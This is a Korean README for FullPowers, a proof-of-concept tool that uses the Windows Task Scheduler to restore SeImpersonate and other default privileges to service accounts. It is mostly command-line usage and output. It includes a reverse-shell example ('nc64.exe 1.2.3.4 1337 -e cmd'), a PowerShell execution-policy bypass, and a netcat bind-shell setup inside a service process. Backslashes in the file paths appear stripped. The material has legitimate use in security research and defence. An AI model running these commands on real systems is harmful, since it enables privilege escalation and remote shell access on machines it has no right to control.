FullPowers 는 SeAssignPrimaryToken 및 SeImpersonate를 포함한 서비스 계정의 기본 권한 범위를 자동으로 복구하기 위해 만든 개념 증명 도구입니다.
Windows에서 LOCAL SERVICE
또는 NETWORK SERVICE
로 실행되는 일부 서비스는 제한된 권한 집합으로 실행되도록 구성됩니다. 따라서 서비스가 손상되더라도 골든 사칭 권한을 얻을 수 없으며 LOCAL SYSTEM
으로의 권한 승격은 더 복잡해야 합니다. 그러나 예약된 작업을 생성 할 때 작업 스케줄러 서비스 에서 생성된 새 프로세스에는 연결된 사용자 계정의 모든 기본 권한 ( SeImpersonate 제외)이 있다는 것을 발견했습니다. 따라서 일부 토큰 조작을 통해 누락된 권한이 모두 포함된 새 프로세스를 생성할 수 있습니다.
용법
LOCAL SERVICE
또는 NETWORK SERVICE
로만 실행되어야 합니다.
-h
옵션을 사용하면 도움말 메시지를 확인할 수 있다.
c:TOOLS>FullPowers -h FullPowers v0.1 (by @itm4n) This tool leverages the Task Scheduler to recover the default privilege set of a service account. For more information: https://itm4n.github.io/localservice-privileges/ Optional arguments: -v Verbose mode, used for debugging essentially -cCustom command line to execute (default is 'C:WindowsSystem32cmd.exe') -x Try to get the extended set of privileges (might fail with NETWORK SERVICE) -z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:TOOLS>FullPowers [+] Successfully created scheduled task. PID=9976 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>
c:TOOLS>FullPowers -c "powershell -ep Bypass" [+] Successfully created scheduled task. PID=9028 [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:WINDOWSsystem32> Get-ExecutionPolicy Bypass
c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z [+] Successfully created scheduled task. PID=5482 [+] CreateProcessAsUser() OK
이 PoC를 직접 테스트하고 싶으신가요? 훌륭해요! 다음은 시작하는 데 도움이 되는 몇 가지 간단한 지침입니다.
전체적인 아이디어는 기존 서비스 프로세스에서 바인드셸을 시작하고 이에 연결한 다음 실행 파일을 실행하는 것입니다.
netcat과 RunFromProcess라는 두 가지 타사 도구가 필요합니다.
제한된 권한을 가진 서비스를 선택하세요(예: upnphost
).
작업 관리자를 열고 서비스 탭으로 이동하여 해당 프로세스의 PID를 가져옵니다.
관리자로 바인드쉘을 시작하려면 다음 명령을 사용하십시오.
C:TOOLS>RunFromProcess-x64.exeC:TOOLSnc64.exe -l -p 9001 -e cmd
다음 명령을 사용하여 바인드셸에 연결합니다.
C:TOOLS>nc64.exe 127.0.0.1 9001 Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================= ======================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled
현재 프로세스에는 가장 권한이 없음을 알 수 있습니다. 이제 PoC를 실행해 보세요.
c:TOOLS>FullPowers [+] Started dummy thread with id 5568 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
이제 가장 권한이 있는 쉘이 생겼습니다!